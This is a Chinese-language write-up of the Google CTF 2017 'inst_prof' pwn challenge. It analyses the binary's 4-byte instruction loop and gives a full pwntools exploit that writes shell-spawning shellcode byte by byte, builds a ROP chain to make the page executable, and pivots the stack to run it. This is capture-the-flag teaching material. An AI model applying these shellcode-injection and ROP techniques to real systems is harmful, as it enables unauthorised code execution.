您的位置:首页 > 编程语言 > Go语言

google ctf 2017 inst_prof writeup

2017-06-23 01:20 507 查看

题目

题目本身比较神奇,当时看到这道题的时候还懵了一下,一下子没有太好的思路,不过后两天还有考试所以也没太静下心来想,今天刚考完了再来看这道题感觉其实难度并不是很大。

题目给出了一个二进制文件,本能的checksec:

[*] '/home/vagrant/ctf/contests/googlectf-2017/inst_prof/inst_prof'
Arch:     amd64-64-little
RELRO:    Partial RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      PIE enabled


partial relro,很有意思,不过其实根本没卵用,233.

看看逻辑:

int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
if ( write(1, "initializing prof...", 0x14uLL) == 20 )
{
sleep(5u);
alarm(0x1Eu);
if ( write(1, "ready\n", 6uLL) == 6 )
{
while ( 1 )
do_test();
}
}
exit(0);
}


main函数很显然,就是死循环执行do_test,再看do_test

int do_test()
{
char *v0; // rbx@1
char v1; // al@1
unsigned __int64 v2; // r12@1
unsigned __int64 buf; // [sp+8h] [bp-18h]@1

v0 = (char *)alloc_page();
*(_QWORD *)v0 = *(_QWORD *)"¦";
*((_DWORD *)v0 + 2) = *(_DWORD *)&template[8];
v1 = template[14];
*((_WORD *)v0 + 6) = *(_WORD *)&template[12];
v0[14] = v1;
read_inst((__int64)(v0 + 5));
make_page_executable(v0);
v2 = __rdtsc();
((void (__fastcall *)(char *))v0)(v0);
buf = __rdtsc() - v2;
if ( write(1, &buf, 8uLL) != 8 )
exit(0);
return free_page(v0, &buf);
}


由于二进制并没有取掉符号,所以看起来比较显然,template其实不用怎么管,可以大致看出来他的功能:

分配了一个页

进行一些初始化,放入了template的一些字节

输入了4个字节(read_inst)

改变之前分配的页的权限为R_X

__rdtsc会改变r12的值,这里没啥用不用管,然后跳到了输入字节的位置进行执行

执行后释放分配的页,然后跳到外层之后死循环回到第一步

具体情况可以下断点输入四个NOP看看,template里边会先
mov ecx, 0x1000
然后执行四字节输入内容,然后
sub ecx, 1
之后检测是不是ecx为0,不为0跳到输入的四个字节,基本上除了增加了一点调试难度没什么卵用。

总结一下题目难点:

1. 每次只能输入一个4字节的shellcode执行

2. 每次执行之后会死循环,不过由于得先进行一系列操作,一些寄存器的值会被改变,无法保存

分析

寄存器值改变情况

题目的意思已经很清楚了,不过不保存寄存器值是绝对不可能搞定的,所以应该是有寄存器的值是能够保存的,调试观察一下可以发现,r14和r15的寄存器在两次循环之间是不会被改变的,也就是说我们现在有两个寄存器r14和r15可以用,另外,rdi等等寄存器会保留一些内容,这些对于我们之后的利用也很有用处。

利用方法

写入shellcode

我们首先可以想到可以利用r14和r15进行写入,方法是通过
mov byte ptr [r14], {}
的方式,{}处可以填很多字节,这样就可以写入shellcode,那么问题来了,写哪儿?

之前分配的页

另找一个位置

好了,之前分配的页改变权限的时候已经改为了RX,但是不可写了,所以这个方法是不行的,另找一个位置也没有了可写又可执行的位置,所以看来我们需要自己去更改权限,那么我们需要一个稳定的可写地址,通过观察,或者猜测也行,分配位置之后的一页位置是稳定可写的,所以写那里就可以,之后我们需要想一个办法更改它的权限。

更改权限

更改权限就有问题了,虽然我们有mprotect的调用,但是参数是个问题。更改rdi之后调用已经有的更改权限函数之后再返回或者改权限参数为7之后调用更改权限函数都是不错的思路,可是都存在问题。

rdi和权限参数存的rbx都没办法保留到下一次循环

如果先存入rdi/rbx再调用(利用push r14或者r15可以在这里改变执行流),也会导致长度不够,至少需要5个字节

看来这两种方法都不行。其实因为我们可以执行一句代码,理论上我们是可以做到受限制的任意写的,而寄存器的值我们是可以mov出来的,所以应该能想到ROP,通过先把链构造好,最后r14/r15设置为链起始位置,
mov rsp, r14
或者
mov rsp, r15
就可以触发ROP了。调整r14和r15的值可以用inc指令实现,inc指令比较短。

最终方案

先写入shellcode到分配的页起始+0x1000的位置

利用r14和r15构造ROP链,结构为:text offset为0xbc3的值(通过[rsp]值之后加减偏移可以取出来) -> 需要的rdi值(shellcode的所在页) -> text offset 0xb03值 -> 0x28 junk -> shellcode位置

最后执行
mov rsp, r14
触发ROP

exp.py

稍微缓存一下编译过程,否则速度太慢直接触发alarm了。

我这里的实现还是有一些问题,应该把NOP换成ret,这样可以避免一些重复的0x1000次执行。

from pwn import *
context(os='linux', arch='amd64', log_level='debug')

DEBUG = 1
GDB = 1
NOP = b'\x90'

shellcodes = {}
if DEBUG:
p = process("./inst_prof")
else:
p = remote("inst_prof.ctfcompetition.com", 1337)

def split_at(line, n):
return [line[i:i+n] for i in range(0, len(line), n)]

def execute(shellcode, is_asm=True):
if shellcode not in shellcodes:
asm_shellcode = asm(shellcode)
shellcodes[shellcode] = asm_shellcode
shellcode = asm_shellcode
else:
shellcode = shellcodes[shellcode]
if len(shellcode) > 4:
raise Exception('instruction using is too long, length {}'.format(len(shellcode)))
p.send(shellcode.ljust(4, NOP))

def write_byte(byte_to_write):
shellcode = "mov byte ptr [r14], {}".format(byte_to_write)
return shellcode

def write_str(code_str):
for char in code_str:
char_num = ord(char)
execute(write_byte(char_num))
execute('inc r14; ret;')

def write_shellcode():
execute('mov r14, rdi; ret;')
for i in range(0x1000):
execute('inc r14; ret;') # $r14 = writable address
shellcode = asm(shellcraft.sh())
write_str(shellcode)

def write_rop_chain():
execute('mov r14, rsp;')
execute('mov r15, [rsp]')
for i in range(0x100):
execute('inc r14; ret;')
for delta in range(0xbc3 - 0xb18):
execute('inc r15; ret;')
# r15 = pop_rdi_ret: 0xbc3
execute('mov [r14], r15')
for i in range(8):
execute('inc r14; ret')

execute('mov r15, rdi')
for i in range(0x1000):
execute('inc r15; ret;')
# r15 = writable
execute('mov [r14], r15')
for i in range(8):
execute('inc r14; ret')

execute('mov r15, [rsp]')
for delta in range(0xb18 - 0xb03):
execute('dec r15; ret;')
# r15 = call make_page_executable
execute('mov [r14], r15')
for i in range(16 + 0x20):
execute('inc r14; ret;')

execute('mov r15, rdi')
for i in range(0x1000):
execute('inc r15; ret')
# r15 = writable
execute('mov [r14], r15')

for i in range(0x20 + 0x20):
execute('dec r14; ret;')

execute('mov rsp, r14')

def main():
if gdb:
raw_input()
write_shellcode()
write_rop_chain()
p.interactive()

if __name__ == "__main__":
main()
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: